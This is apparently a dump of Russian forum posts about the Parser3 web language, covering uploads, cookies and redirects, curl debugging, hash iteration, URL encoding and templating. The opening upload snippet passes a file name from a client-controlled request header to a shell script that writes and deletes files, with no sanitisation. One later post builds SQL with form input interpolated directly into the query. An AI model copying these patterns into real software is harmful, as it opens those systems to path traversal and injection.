[code]$f[$request:post-body]\
$name[^env:HTTP_CONTENT_DISPOSITION.split[=;lh]]\
^f.save[binary;${name.1}_chunk]\
$fStatus[^file::exec[fileSave.sh;;$name.1]][/code]\
[code]#!/bin/sh\
cat \"${*}_chunk\" >> $*\
rm \"${*}_chunk\"[/code]"
"81428","^string:js-unescape[]"
"81429","Все работает как надо )"
"81430","[code]@unescapeURI[t][result]\
$result[$t]\
	\
^if(^result.pos[%] > -1){\
	$result[^string:js-unescape[$result]]\
	^try{\
#		возможны проблемы, если в URI пришло что-то кривое,\
#		на чем будут падать строковые ф-ции (lower, match, etc.)\
#		поэтому делаем превентивную проверку\
#		ситуация не выдуманная, но для POST-запросов вряд ли актуальна:-)\
		$t[^result.lower[]]\
	}{\
		^throw[...] or $result[...]\
	}\
}[/code]"
"81431","tv_sec -- секунды\
tv_usec -- микросекунды (не милли*).\
т.е. выводить их в предлагаемом вами виде - как-то странно.\
я обычно делаю так: tv_sec*1000 + tv_usec/1000, и получаю время в миллисекундах.\
ещё можно так: tv_sec.^eval(tv_usec/1000)[%04d] -- будет время в секундах.миллисекундах"
"81432","Да и цепочку http-запросов не показывает а только результативный request/response"
"81435","Chrome 31.\
\
Установка cookie, редирект.\
После редиректа cookie есть в списке вкладки Resources."
"81437","redirect.html\
[code]@main[]\
$response:status(301)\
$response:location[http://test/cookie.html][/code]\
\
cookie.html\
[code]@main[]\
$cookie:test[666][/code]\
\
[code]--2015-07-07 16:11:07--  http://test/redirect.html\
  HTTP/1.1 301 Moved Permanently\
  …\
  Location: http://test/cookie.html\
  …\
\
--2015-07-07 16:11:07--  http://test/cookie.html\
  HTTP/1.1 200 OK\
  …\
  Set-Cookie: test=666; expires=Mon, 05 Oct 2015 13:11:07 GMT; path=/\
  …[/code]\
  \
В Chrome Developer Tools на вкладке «Recources» cookie показано."
"81438","[quote]Да и цепочку http-запросов не показывает а только результативный request/response[/quote]\
\
Почитайте уже документацию.\
\
http://stackoverflow.com/questions/10987453/how-to-use-chromes-network-debugger-with-redirects/12282621#12282621"
"81439","Вот пример кода, который воспроизводит глюк у меня:\
\
в hosts жестко прописано, допустим:\
192.168.1.10  domain.local\
192.168.1.10  www.domain.local\
\
[code]\
@main[]\
<html>\
<body>\
COOKIE_TEST = $cookie:test <br />\
\
^if($env:HTTP_HOST eq 'www.domain.local'){\
$response:status(302)\
$response:location[http://domain.local/]\
}\
\
$cookie:test[666]\
\
</body>\
</html>\
\
[/code]\
\
c 301 тоже самое, сделал 302, что не кешировал редиректы (а то он и\
это делает)\
\
\
И если даже предварительно очистить кеш, \
потом набрать www.domain.local/\
то редиректит на domain.local/\
где в Resources/Cookies ничего нет\
\
а на экране мы видим COOKIE_TEST = 666\
\
\
Chrome Version 43.0.2357.130 (64-bit)\
под Debian/Ubuntu"
"81440","Но тем и виднее, что как на Response с Location, \
есть Set-Cookie, так и на месте куда средиректило\
есть Set-Cookie но хром упорно показывает в Resources/Cookies\
пустую страницу с \"This site has no cookie\" по середине"
"81441","bug.html:\
[code]@main[]\
$options[\
	$.verbose(true)\
	$.stderr[/curl.log]\
	$.url[http://www.parser.ru/]\
]\
\
$file[^curl:load[$options]]\
\
[$file.stderr][/code]\
\
Файл создаётся, но пустой.\
\
При этом странно, что если убрать $.stderr[/curl.log], оставив $.verbose(true), то $file.stderr всё равно пуст, а ведь по логике там должна быть отладочная информация.\
\
Отдельно очень жаль, что не поддерживается опция [url=http://curl.haxx.se/docs/manpage.html#-w]-w, --write-out[/url] — массу полезной информации о запросе можно было бы получать."
"81442","Для $.verbose(true) надо определить еще функцию дебага и данных\
curl_easy_setopt(curl, CURLOPT_DEBUGFUNCTION, my_trace);\
curl_easy_setopt(curl, CURLOPT_DEBUGDATA, &config);\
Бегло просмотрел http://cvsview.parser.ru/cgi/viewcvs.cgi/parser3/src/classes/curl.C?revision=1.31&view=markup и не нашел там такого\
Но зато нашел пример реализаци, и логично было бы получать verbose не в stderror в stdout, т.е. просто $f.text \
http://curl.haxx.se/libcurl/c/debug.html"
"81443","[quote]логично было бы получать verbose не в stderror в stdout, т.е. просто $f.text[/quote]\
\
В text тело ответа, туда нельзя выдавать debug."
"81444","Для дебаг режима может и полезно )"
"81445","Делаю возможность принудительно прервать дальнейшее выполнение программы, если очевидно, что надо сделать редирект или заменить статус и тело ответа (немедленно).\
\
Сделал через ^throw и перекрытием unhandled_exeption\
\
все прекрасно работает с $response:location, $response:refresh,\
т.к. само тело ответа помещается в данном случае в $result[]\
\
но объект-файл он не принимает, только string...\
\
вообще как-то странно, что нет остановки выполнения в main[]\
и приходится выдумывать костыли..."
"81446","Костыли вы сами себе выдумываете. :) Что мешает сделать например так, не перекрывая unhandled_exception?\
\
[code]@main[]\
^try{\
  ^real_main[]\
}{\
  ^if($exception.type eq 'download'){\
     $exception.handled(true)\
  }\
}\
\
@download[file]\
  $response:download[$file]\
  ^throw[download;]\
[/code]"
"81448","Применяю в процессе разбора url'a допустим тот же trim или\
lower для данных из форм.\
\
Пишут, что лучше их класть в обертку, т.к.: \
[quote] возможны проблемы, если в URI пришло что-то кривое,\
 на чем будут падать строковые ф-ции (lower, match, etc.)\
 поэтому делаем превентивную проверку\
 ситуация не выдуманная, но для POST-запросов вряд ли актуальна:-)\
[/quote]\
\
Неприятное известие, прямо скажем. \
Может кто-то описать конкретные примеры/случаи на каких символах/ последовательностях падают эти строковые методы? \
\
Актуальна ли эта проблема для однобайтной кодировки типа windows-1251?"
"81449","В связи с обозначившейся проблемой тредом ниже про падение операций над строками (решил перестраховаться и написать универсальную обёртку)\
\
но пока не придумал, как более красиво возвращать одновременно \
булевый статус(код) исполнения и собственно сам результат, если статус true\
\
[code]\
@main[][_ret]\
$str[Some Danger ,,,^..^,,, String with unescaped data]\
\
$_ret[^safe[bypass]{^str.lower[]}]\
\
^if(_ret.status){\
   $_ret.result\
}\
\
@safe[_mode;_code][locals]\
^try{\
   $_result[\
      $.result[$_code]\
      $.status(true)\
   ]\
}{\
   $_result[\
     $.result[]\
     $.status(false)\
   ]\
  ^if($_mode eq 'syshalt'){\
#    прерываем выполнение    \
  }{\
     exeption.handled(true)\
#    не прерываем выполнение\
  }\
}\
$result[$_result]\
\
[/code]\
\
[i]UPD: Сомнительность постановки вопроса осознана... но вопрос оставлю, вдруг что-то новое узнаю из конструкций Парсера[/i]"
"81450","Собственно сабж.\
Признаюсь сразу часы переработки близятся к критическое отметке, наверное завтра посмеюсь, но как не костылить тут?\
\
\
[code]\
$myhash[\
   $.1[A]\
   $.2[B]\
   $.3[C]\
]\
\
^myhash.foreach[k;v]{\
# в процессе перебора понимаем что текущий ключ мы хотим удалить из хеша\
   ^myhash.delete[k]\
}\
[/code]\
\
\
Получаем: parser.runtime - can not modify hash (flocked) \
\
С одной стороны понятно, что \"целостность\" перебора нарушится,\
а с другой, надо сразу знать, что если будут удаления,\
то надо идти через _keys.menu{ }"
"81451","Как вы и делаете:\
[code]$result[\
	$.status(…)\
	$.body[…]\
][/code]\
\
Что до оборачивания — не увлекайтесь.\
Сейчас придёт Sumo и расскажет, что «мёртвые программы не врут» и будет прав.\
Не можете переварить пришедший запрос — показывайте ошибку.\
Благо, для этого даже специальный HTTP-статус 400 есть."
"81452","[code]$keys[^myhash._keys[]]\
^keys.menu{\
	^myhash.delete[$keys.key]\
}[/code]"
"81453","Ошибки могут быть если приходит ахинея и строка будет некорректно раскодирована.\
Вам автор и предлагает делать пробный lower.\
\
Уметь читать информацию из астрала и раскодировать ахинею от кода не требуется, можно смело падать и показывать ошибку.\
\
[code]$s[^string:js-unescape[%FF]]\
^s.lower[][/code]"
"81454","ещё вариант:\
\
[code]\
$del[^hash::create[]]\
^myhash.foreach[k;v]{\
# в процессе перебора понимаем что текущий ключ мы хотим удалить из хеша\
   $del.[$k](true)\
}\
^myhash.sub[$del]\
[/code]"
"81457","т.к. он для меня выглядит более ресурсоемким (пишу выглядит, т.к. реальное потребление памяти никогда не замерял)"
"81458","На самом деле, я просто решил, что писать обёртки вокруг\
всех методов, что могут коснуться string долго, дорого и безнадежно.\
\
и решил сделать обёртку своего ^try с более расшириенным поведением.\
т.к. у меня свой унифированный стек ошибок и варнингов с расширенным набором полей, куда падают свои ошибки, а также обработанные ^throw или парсеровский unhandled, если ошибка выше корневого auto.p (когда класс уже подцеплен)\
\
то есть, я в любом случае вижу нештатную ситуацию и могу писать это в лог или просто смотреть в debug-моде"
"81459","1: Крутить цикл и так и так.\
2.a:  foreach \"дармовой\"\
2.b:  _keys - создать отдельно таблицу всех ключей хеша\
\
3.a: с foreach - создавать хеш удалямых ключей + value(bool)\
    + sub еще (а это наверное еще внутренний прогон по ключам)\
3.b: _keys удаляет сразу в первом цикле\
\
если кол-во удаляемых ключей большое, то накапливаемый $.del может быть сопоставим с _keys-таблицей по размеру, но внагрузку идет еще\
и value(bool) + ^hash.sub\
\
а если точечные удаления и ключи длинные то наверное наоборот"
"81460","- bool можно не создавать делать ($del.[$k][]), хотя это почти пофигу, т.к. что bool-ы, что void -- singleton-ы.\
- внутренний цикл удаления (я про sub) в любом случае эффективнее, чем внешнее удаление по элементно\
- вариант с _keys менее удобен в плане доступа к элементам, там придётся делать $value[$myhash.$key] с внутренним lookup-ом каждого элемента, тогда как в случае foreach/sub value доступен изначально и без lookup-а.\
- таблица _keys создаётся всегда, тогда как в $del элементы добавляются не всегда. но да, если удалять будем всё, то вариант с sub скорее всего будет менее эффективен.\
\
в любом случае, это актуально только для больших хэшей. и там надо не гадать, а взять и измерить, я просто указан на аспект производительности в данной задаче."
"81463","HTTP-безобразие. Потому, что (видимо по RFC) браузер не считает нужным послать в Request'e Accept-Charset:\
хотя бы как желаемую кодировку, ну так хоть для галочки... \
в конце-концов Accept-Language он посылает, чего бы и кодировку не приложить к языку...\
\
В итоге посылает URL как есть..\
\
GET /QonoS   (journal на клингонском :)\
\
Т.е. принимай, как есть, и сам догадывайся о чем тебя спросили.\
\
Я хотел бы реализовать: \
http://domain.com/Запрос в какой-то кодировке\
\
С одной стороны, нефиг ниче там \"спрашивать\", пользователь \"имеет право\", только набрать корневой урл/домен, а для \"спрашивать\" есть input-ы, где дальше я сам должен вести его по гиперссылкам в таком виде, в каком могу переварить, или он эти гиперссылки должен где-то почерпнуть (но так же из числа переваренных)\
\
[b]Я непременно так и поступлю, но только когда пойму, что победить это не сверх-сложным путём не реально.[/b]\
\
Но иногда хочется идти на поводу у UI и дать плюшки, тем более у Википедии то \"вон как\". \
\
Плюс это дает имитацию omni-запроса сразу в адресной строке, без настройки magic-search в google chrome, и вообще для любых браузеров (наверное).\
\
В современном chrome'e адресная строка в UTF-8, под Windows-XP или старыми браузерами (я не знаю, наверняка windows-1251)\
\
\
Википедия видимо распознает принимая во внимание одновременно Accept-Language + суб-домен .ru (для однобайтных кодировок других стран)\
\
Потому, что на запросы:\
\
http://ru.wikipedia.org/%FF\
http://ru.wikipedia.org/%D0%AF\
\
перекинет на одну страницу:\
https://ru.wikipedia.org/Я\
\
\
Пока я ищу среднюю стратегии \"малой крови\" - перевести таки весь проект на UTF-8 (это все равно придется когда-то сделать), и пытаться принять в урле:\
\
- или UTF-8 в чистом виде \
- или \"однобайтники\" идут лесом, и шлют escaped(UTF-8) получая его в гиперссылках \
(опять же как мне различать кому формировать в теле страницы escaped-урлы, а кому \"красивые\")\
\
UPD: опытным путем выяснено:\
[i]\
- что конкретно Wiki по-умолчанию показывает экспейпленные урлы, это потом или javascript-ом или например Google Chrome - автоматически, если распознает вменяемую последовательность, до делает unescape автоматически и подменяет на \"красивые\".\
- расходимся... даже IE6 под WinXP SP2 (ru) посылает UTF-8 в урле\
[/i]"
"81464","Сабж.\
\
Насколько я понял, unescape имеет смысл умышленного \"обеления\"\
данных и потому избегает двойного \"выбеливания\" и внегласно совмещает в себе ^taint[as-is][$request:uri] или что там происходит?\
\
Хорошо бы для отладки иметь возможность \"смотреть\" во что испачкана конкренная переменная. То есть добавить в reflection"
"81465","Минусов у них больше, чем плюсов.\
И Википедия, вероятно, не от хорошей жизни их использует, а из-за необходимости поддерживать массу языков.\
\
Такие URL ужасны в эскейпленном виде и очень длинны, что часто приводит к их некорректной обрезке при размещении в виде текста на сайтах, а это ведёт к невозможности корректного раскодирования (проблемы будут не только у Парсера).\
В итоге плодятся ссылки на ошибочные страницы сайта.\
\
Из плюсов, разве что читаемость в раскодированном виде, значение которой мало кто придаст.\
\
Лучше использовать английский язык или транслит."
"81466","То есть, фактически я преследую цель получить запрос, но он \
и у меня своего синтаксического вида (а-ля теги с параметрами),\
то есть в принципе я мог бы принять одновременно:\
\
domain.com/Page/Tag1+Tag2+Tag3\
или\
domain.com/Page/?q=Tag1+Tag2+Tag3\
где Tag словарное слово на любом языке \
\
[b]вот тут хотелось бы знать:[/b]\
[i]относится ли приведенная вами плохая практика по-разному в обоих случаях (на тему обрезки)?[/i]\
\
\
потому, что на тему индексации, кравлеры точно будут по-возможности отбрасывать qet-параметры, поэтому я пытаюсь убить двух зайцев - \
- упростить ввод урла руками пользователя\
- подставить под индексацию эти страницы\
\
поскольку это и не поиск, а скорее запрос к контенту, и\
единственный способ получения страницы с конкретным содержанием\
\
т.е. альтернативного адреса \"прописки\" (кроме как поменять теги местами) - у конкретного контента нет, поэтому это можно смело считать ее адресом."
"81467","[quote]Для $.verbose(true) надо определить еще функцию дебага и данных[/quote]\
\
С чего бы вдруг?\
\
http://curl.haxx.se/libcurl/c/CURLOPT_VERBOSE.html\
\
\"To also get all the protocol data sent and received, consider using the CURLOPT_DEBUGFUNCTION.\" - это для дополнительного дебага."
"81468","[quote]Curl Win Unhandled exception 0xC0000005 at 0x77D19E03[/quote]\
\
Cклонен считать это багом curl (или возможно конкретной его версии, которую мы собрали). Поскольку под Linux все работает, без $.stderr[/curl.log] тоже работает.\
\
[quote]При этом странно, что если убрать $.stderr[/curl.log], оставив $.verbose(true), то $file.stderr всё равно пуст, а ведь по логике там должна быть отладочная информация.[/quote]\
\
Это верно для внешних вызовов, когда парсер вызывает какой-нибудь скрипт и переопределяет ему stderr при вызове. Здесь же отладочная информация попадает в stderr парсера (и она туда действительно попадает). То есть при вызове из консоли отладочная информация будет в stderr, при вызове из apache stderr пишется в его error_log."
"81469","[quote]относится ли приведенная вами плохая практика по-разному в обоих случаях (на тему обрезки)?[/quote]\
\
Разумеется, относится.\
\
[quote]потому, что на тему индексации, кравлеры точно будут по-возможности отбрасывать qet-параметры, поэтому я пытаюсь убить двух зайцев - \
- упростить ввод урла руками пользователя\
- подставить под индексацию эти страницы[/quote]\
\
Ни один краулер не будет отбрасывать параметры в лоб.\
Другое дело, что параметр параметру рознь и некоторые могут быть отброшены, так как есть статистика об их назначении (например, всевозможные SID'ы), порядки сортировки, либо оное указано вебмастером (Google Search Console, для Яндекса директива clean-param).\
\
В целом, адреса с GET-параметрами ещё хуже percent-encoded-ЧПУ: длинне, страшнее, параметры могут идти в произвольном порядке.\
\
[quote]поскольку это и не поиск, а скорее запрос к контенту, и\
единственный способ получения страницы с конкретным содержанием[/quote]\
\
Есть URL, в идеале для некого содержания он должен быть единственный.\
Каким он при этом будет — дело десятое, хоть в виде контента страницы, если уложится в ограничения стандарта.\
\
Однако, URL — это не только интерфейс к контенту, но и структура и навигация для людей.\
Потому адреса желательно делать в виде ЧПУ, лаконичными и понятными.\
Percent-encoding не очень подходит под эти критерии.\
И никакой выгоды от его использования нет, разве что отсутствие необходимости в транслитерации, но это в большинстве случаев мелочь, производимая автоматически.\
\
В итоге, выбирая между:\
1. /игры/экшн/ (/%D0%B8%D0%B3%D1%80%D1%8B/%D1%8D%D0%BA%D1%88%D0%BD/)\
2. /games/action/\
3. /igry/ekshn/\
я бы выбрал второй или, на худой конец, третий вариант.\
\
К тому же рекомендую уметь поддерживать порядок тегов (хотя бы алфавитный) и всегда отвечать по каноническому адресу (делая на него редирект 301 или указывая в rel=canonical) страницы."
"81470","Функции \"необратимого преобразования\" строк, к которым относится js-unescape, не могут сохранить язык исходной строки, поэтому возвращают целеком \"чистую\" или \"грязную\" строку.\
\
[quote]Хорошо бы для отладки иметь возможность \"смотреть\" во что испачкана конкренная переменная. [/quote]\
\
Язык - свойство не строки, а каждого символа строки. Боюсь наглядность этой возможности будет сомнительна..."
"81473","Ну а как же иначе? \
[code]$s[delete from data where id='$form:id'] \
^void:sql{$s}[/code]"
"81475","а то неудобно, когда рефрешишь страницу, а она хочет еще раз POST отправить"
"81477","Решение: mitmproxy  \
В linux ставится из стандартного репа.\
\
Очень удобный и правильный инструмент. Т.к. после бага с отображением Resource/Cookies я дебаг-панели Chrome'a на 100% не доверяю,\
да и POST-PayLoad dump он не показывает, в крайнем случае бывает полезно проверить. \
\
На Хабре развернутая статейка: http://habrahabr.ru/company/selectel/blog/242727/"
"81478","Эксперементирую с унификацией собственного отладчика, хочу:\
\
[code]\
@method1[]\
$caller.method_name ^rem{# получить тут method2 }\
\
@method2[]\
^method1[]\
[/code]\
\
P.S.: \
Подозреваю, что нельзя из-за аутентичного разыменовывания (по аналоги с передачей аргументов в функцию/метод)\
\
Костылю созданием локальной переменной $__method_name в начале каждого метода\
чтобы извлекать $caller.__method_name"
"81479","можно через try throw в нем словить стек и зажечь флаг что ошибка отловлена."
"81481","Или надо:\
[code]\
^some_string.match[$regex_obj.pattern][$regex_obj.options]\
[/code]"
"81484","Возможно ли это вообще? В доке не нашел, но заинтересовал пример:\
[code]^cookie:fields.foreach[name;value]{ \
   $name - ^if($value is \"hash\"){$value.value}{$value} \
}[<br />] [/code]\
\
В какой ситуации $value это хеш и какие в нем могут быть ключи кроме $value.value? У меня почему то всегда строка (3.4.1)"
"81485","Подхожу к краеугольному камню - подхода к шаблонизации. Хочется простого, но элегантного и удобного.\
\
[i]Казалось бы, сам Парсер и есть супер-шаблонизатор. Но... за массой всяких \"но\" кроется куча возможных подходов. Скорее задача даже стоит, как себя правильно ограничить, но не потерять в гибкости. Тем более, что проект с классами и подклассами, а не в MAIN все в кучу навалено, и хочется соответствующего подхода в реализации.[/i]\
\
\
Реализация в принципе простая: есть шаблоны/гриды, между разметкой которых есть именованные \"слоты\", которые содержать или просто значения: числа/строки, или вызов других гридов и|или код-на-парсере.\
\
Во всем этом смущает лишь, что я активно использую junction, и хотелось бы знать какие подводные грабли меня могут ждать, которых я не вижу. Но в ходе попыток реалиазции показалось, что именно шаблонизации и родили junction в Парсере, как \"отложенное исполнение кода\" в месте и контексте размещения, что очень удобно.\
\
Наглядный пример:\
[code]\
@main[]\
# ... \
^switch[$Url]{\
  ^case[/;DEFAULT]{\
     ^Tpl:MainGrid[\
       $.Pagename[Main page]\
     ]\
  }\
  ^case[/article]{\
    ^Tpl:MainGrid[\
       $.Pagename[Article]\
       $.Content{^Tpl:Content_Article[]}\
       $.Footer{ \
           ^Tpl:Footer[\
               $.Year{ ^for[i](3;0){ ^eval(2015-$i) }[,]   }\
           ]\
       }\
    ]\
  }\
}\
\
\
@CLASS\
Tpl\
\
@MainGrid[_param][locals]\
$_slot[\
  $.Title[SiteName]\
  $.Header{^Tpl:Header[$.Size[big] ]}\
  $.Pagename[Undefined]\
  $.Content{^Tpl:Content_Main[]}\
  $.Footer[Copyright (c)]\
]\
^_slot.add[$_param]\
<html>\
<head><title>$_slot.Title</title></head>\
<body>\
  $_slot.Header\
  <hr>\
  <h3>$_slot.PageName</h3>\
  $_slot.Content\
  $_slot.Footer\
</body>\
\
@Header[_param][locals]\
$_slot[\
  $.Size[small]\
]\
^_slot.add[$_param]\
\
^if($_slot.Size eq 'big'){\
   <h1>BIG Header</h1>\
}{\
   <h2>Small Header</h2>\
}\
\
@Content_Main[]\
<p>Main content</p>\
\
@Content_Article[]\
<p>Article content</p>\
\
@Footer[_param][locals]\
$_slot[\
  $.Year[2015]\
]\
^_slot.add[$_param]\
\
<i>$_slot.Year</i>\
\
[/code]"
"81486","То, что cookie-value это хеш или строка, это \
1) абстракция Парсера\
2) просто набор внутренних аргументов, принимаемых классом Cookie для удобства в виде хеша, чтобы потом на основе их Парсер сформировал нужный HTTP-ответ браузеру. Тут аналогия с hashfile, не более чем просто визуальная.\
\
Когда вы ставите Cookie с Expires:\
Сервер говорит браузеру, среди прочих заголовков:\
[quote]Set-Cookie: CookieName=CookieValue; expires=Thu, 30 Jul 2015 17:55:06 GMT; path=/ [/quote]\
\
А браузер потом при каждом запросе посылает только:\
[quote]Cookie: CookieName=CookieValue[/quote]\
\
т.е. браузер получив набор доп.опций к конкретной куки, потом сам хранит и помнит когда она устаревает, и проч., но серверу об этом больше не напоминает.\
\
Вариантов реализации несколько:\
 1) Хранить данные в основном на сервере, в том числе по устареванию каких-то данных (браузер в конце-концов может и соврать про expires, на стороне клиента можно подделать любой запрос и смысла опираться на эти данные - не много). \
\
 2) Сфомировать в качестве значения cookie - json-строку, т.е. сериализовать многовложенные данные. (Но надо помнить есть HTTP-ограничения на размер cookie и их кол-во)\
\
 \
 3) Модный вариант: В качестве значения Cookie - передать строку - шифрованный контейнер. Тогда можно поскладывать туда структурированные данные, не так сильно ожидая подделки.\
Более того, если правильно подойти к вопросу, то к salt-у шифрования можно добавить временной диапазон, таким образом можно получить шифрованный cookie-контейнер который может прочитать только сервер + гарантированный expires независимо от браузера"
"81488","Там возможно в угоду разным Engin-ам шаблонизаторов шаблон вынесен в отдельный формат файла.\
\
У меня же проще. Каждый \"шаблон/подшаблон\", это просто метод класса. \
Которые могут быть разнесены по файлам и собираться в один\
класс через \
@OPTIONS\
partial"
"81490","Я храню все урлы в виде таблицы в базе. Это решает проблему построения сайтмапов а так же ловли 404 ошибок (и много других проблем тоже решает).\
\
Каждая страница индивидуально связана с модулем. Модуль - группа страниц по определённому признаку (блог, новости, карточка товара в интернет-магазине и т.п.). Модули аналогично хранятся в отдельной таблице БД. Каждый модуль имеет настраиваемые параметры - список подключенных css и js файлов, имена классов, отвечающих за хранение html-кода header'а, body и footer'а, имена классов, отвечающих за построение контента на этой странице + некоторые глобальные (в рамках модуля) параметры.\
\
Также каждая страница имеет индивидуальный набор параметров - индексировать ли поисковиком, отображать ли в результатах поиска по сайту, встраивать ли в сайтмап, показывать ли вообще и если да, то каким группам пользователей, и т.д. и т.п., параметров много (+ можно переопределить любые параметры модуля). \
\
Каждая страница строится из блоков, которые формируются аналогичным образом.\
\
На самом деле, структура ещё более сложная и еще более гибкая за счёт иерархических настроек."
"81491","Зато всё в одном месте, есть модульность и наследование, что крайне удобно."
"81492","Для шаблонов хочется иметь отдельную иерархию классов, но не хочется возиться с поддержкой структуры имен файлов. Подумайте, как у вас будет работать partial, если потребуется использовать одни и те же куски шаблонов в разных частях приложения. Как использовать одинаковые куски шаблонов в других проектах.\
\
Поэтому pfTemple автоматически оборачивает шаблоны в классы. Директивами #@base и #@import легко собрать любой набор функций, которые нужны в шаблонах. При этом вообще не надо думать об именах классов шаблонов. Для pfTemple легко написать свое хранилище и положить шаблоны в БД, что иногда полезно.\
\
Кроме того, нужно иметь очень простой механизм передать в шаблоны переменные из программы (метод assign). Мне нравится, когда шаблон черный ящик — он оперирует только с теми данными, который ему передали и ничего не знает о приложении. Но это не единственный вариант — G_Z использовал pfTemple как «активный шаблон», т.е. логика шаблона определяла какие данные ему нужны. Для этого в шаблон надо будет передать ссылку на модель данных. С partial-классами это несколько муторно.\
\
Даже если мы используем Парсер, как интерпретатор шаблона, то имеет смысл сделать обертку, которая обеспечить абстракцию и отделит пространство имен шаблонов от приложения. :)"
"81493","[quote]Подумайте, как у вас будет работать partial, если потребуется использовать одни и те же куски шаблонов в разных частях приложения. Как использовать одинаковые куски шаблонов в других проектах.[/quote]\
\
У меня шаблон (фактически пакет шаблонов) - это отдельный класс. Куски - методы.\
В чем проблема использовать методы класса в другом месте, классе?\
\
В чем проблема использования тех же классов в других проектах? \
\
Тем более, если класс статический, то любой \"кусок\" класса/пакета по сути одинаковый даже если разбить по файлу на метод, если\
не используется конструктор, если используется, то можно как-то обозначить init-овый файл-кусок/модуль.\
\
Пока, что не понимаю, или не вижу проблему.\
\
Я привел пример как бы с одним \"пакетом\". Но можно ввести по классу на пакет. \
С директорией /Theme1  /Theme2 - где лежат плоско все куски шаблонов одного пакета/темы\
\
[code]\
#-- /Template/Theme1/GridIndex.p ---\
@CLASS\
Tpl_Theme1\
\
@OPTIONS\
partial\
\
@GridIndex[_param][locals]\
<html>\
  <body>\
    $_param.Header\
    $_param.Body\
    $_param.Footer\
  </body>\
</html>\
\
\
#--- /Template/Theme1/Header.p ---\
@CLASS\
Tpl_Theme1\
\
@OPTIONS\
partial\
\
@Header[_param][locals]\
#...\
[/code]\
\
из папки производится автоматический или задействованный ^use из пакета\
получается некая аналогия с packages, что-то вроде \
\
from Tpl_Theme1 import *\
\
или\
\
from Tpl_Theme1 import GridIndex,Header\
\
\
\
И принцип черного ящика (инкапсуляции) тут как раз соблюдается в полной мере, ведь у каждого метода (куса шаблона) стоит [locals] по-умолчанию, но бросить в аргумент более глобальный объект-окружение, тоже не проблема.\
\
\
Все происходит сразу вот так:\
Тема, шаблон, слот \
\
при этом, сразу видна структурная конфигурация того, что будет отрендерено\
\
[code]\
@main[]\
\
^Tpl_Theme1:GridIndex[\
   $.Header[\
       $.Title{\
          ^Tpl_Theme2:OtherTitle[\
              $.Title[это имелось в виду?]\
          ]\
       }\
   ]\
   $.Body{\
      ^Tpl_Theme1:Content[\
         $.PageName[$CurrentPage]\
         $.Body{ \
            ^Tpl_Theme1:Article[\
               $.Mode[simple]\
            ]\
         }\
      ]\
   }\
   $.Footer[Copyright]\
]\
\
[/code] \
\
Или имелась ввиду именно проблема поддержки имен? Типа Header > Title > Sup,Text,Tagline\
и в плоских именах методов это будет выглядеть как... какой-нить БЭМ\
\
@Header_Title_Sup_Text\
\
Но мне кажется и тут можно обыграть через hash. Если речь об обращении\
Header.Title.Sup.Text вместо Header_Title_Sup_Text\
\
Методы assign тут не нужны, ведь тут мы задаем значение \"переменных в шаблонах\" - как аргументы собственно вызова этого шаблона, которые перекрывают собственные default'ные\
\
Другого места просто нет в принципе. Поэтому и Render'a отдельно нет."
"81495","Вы можете читать куки ТЕ, что получили от браузера, \
а также ТЕ, что только что сами задали по коду, но еще НЕ передали.\
\
Просто объекты класса cookies это и полученные и подготовленные к отправке в одной пачке. Это и путает видимо.\
\
Т.е. фактически, если я напишу\
[code]\
$cookie:newcookie[\
   $.value[newvalue]\
]\
\
# то тут-же могу их прочитать (хотя они еще не передан браузеру)\
$cookie:newcookie.value\
\
# но я всегда писал и для заданных по коду, и работало (но не проверял в цикле)\
$cookie:newcookie\
\
\
[/code]\
\
\
\
Просто видимо те куки, что заданы \"на передачу\" с применением ключей хеша в качестве параметров, их объект до момента передачи будет тащить за собой эти атавизмы .value .expires - ведь пока вы не передали их - есть еще шанс прочитать эти параметры. Но это ваши параметры по сути.\
\
Я так понимаю, по крайней мере )  \
А там еще в примере неудачно выбраны имена параметров для foreach они тоже value - получается какие-то вложенные value, что дополнительно сбивает с толку."
"81496","В последнем куске кода есть явные ссылки на Тему2 и Тему1. Если тему пользователь выберет в настройках сайта, как будет выглядеть ваш main?\
\
Ваш подход вполне рабочий. Примеры выглядят нормально, но они очень простые. Боюсь, что на сложных шаблонах все это будет выглядеть не так весело. Но это надо проверять.\
\
Проблема с неймингом остается. Вам придется поддерживать две параллельных структуры имен: для файлов с шаблонами и для классов. При любом изменении структуры файлов надо проводить сложные рефакторинги.\
\
Header_Title_Sup_Text — сомнительная идея. Этот каскад прекрасно можно сделать разметкой и css-классами. Я стараюсь делать в шаблонах методы более высокого уровня ^client_title[$client;$.showButtons(^AUTH.can[edit the user])], ^month_selector[$monthes] и т.п. А эти методы уже выдают сложные по структуре разметки блоки. Если надо поставить простой элемент, например заголовок, то мне удобнее писать <h1>$title</h1> вместо ^page_title[$title]."
"81497","По моему когда то давно эта тем обсуждалась, но найти не получилось, да и не уверен.\
\
Можно ли средствами парсера сделать изолированный подкаталог, чтобы он считался \"корнем\" и вышестоящие auto.p не обрабатывались вообще?\
\
Переопределение request:document-root на этот вложенный каталог не помогает - корневоый auto все равно обрабатывается (при этом слетают все пути подключаемых файлов)"
"81498","[b]1.Инициализация шаблона (каскада шаблонов).[/b]\
[b]а.Последовательное присваивание[/b]\
Это как раз случай с assign'ами в Templet. \
Мы \"квантовано\" и асинхронно задаем значения переменных/слотов в шаблонах и только потом вызываем Render.\
\
[b]b.Одномоментный каскадный аргумент.[/b]\
Способ конфигурирования шаблона при обращении одномоментно к его рендеру, в виде мгновложенной передачи аргументов. \
Хотя это и выглядит, как [i]\"последний выдох господина ПЖ\" :)[/i], на самом деле этот рендер, тоже должен делаться в конце. \
А параметры к нему могут набираться через все условия выше. \
Т.е. в роли assign выступают просто переменные сайта/движка, необходимые для формирования конечных параметров шаблона. \
Такой параметризации пришел просто \"от бедра\". Поэтому я его кручу до того момента, пока не увижу что он мертвый.\
Но хочется побороться подольше.\
\
В ранних примерах показано не удачно применение, т.к. в switch[$Url] мы вызываем два разно-сконфигурированных рендера).\
\
[b]Плюсы:[/b] синаксическая и структурная наглядность всего собираемого и конфигурируемого шаблона - в виде каскада аргументов.\
\
[b]Минусы:[/b] изучаются... (есть ощущение что я поймаю синтаксические грабли, которые все изуродуют)\
\
[b]2.Темы/пакеты[/b]\
\"Тема\" тут тоже не ясно что понимать под темой. \
Разными темами может быть просто голый набором разных конфигураций одного шаблона(пакета), или принципиально разные шаблоны(пакеты) даже если они наследованы. \
Тут мысли не закончены.\
\
\
Вообще, пытаюсь идти методом KISS, поэтому чувствуя один и тот же паттерн, я форсированно упрощаю.\
Поэтому, например, \"тему\" или \"пакет\" вижу (пока), как просто корневой узел иерархии, по сути такой же шаблон, \
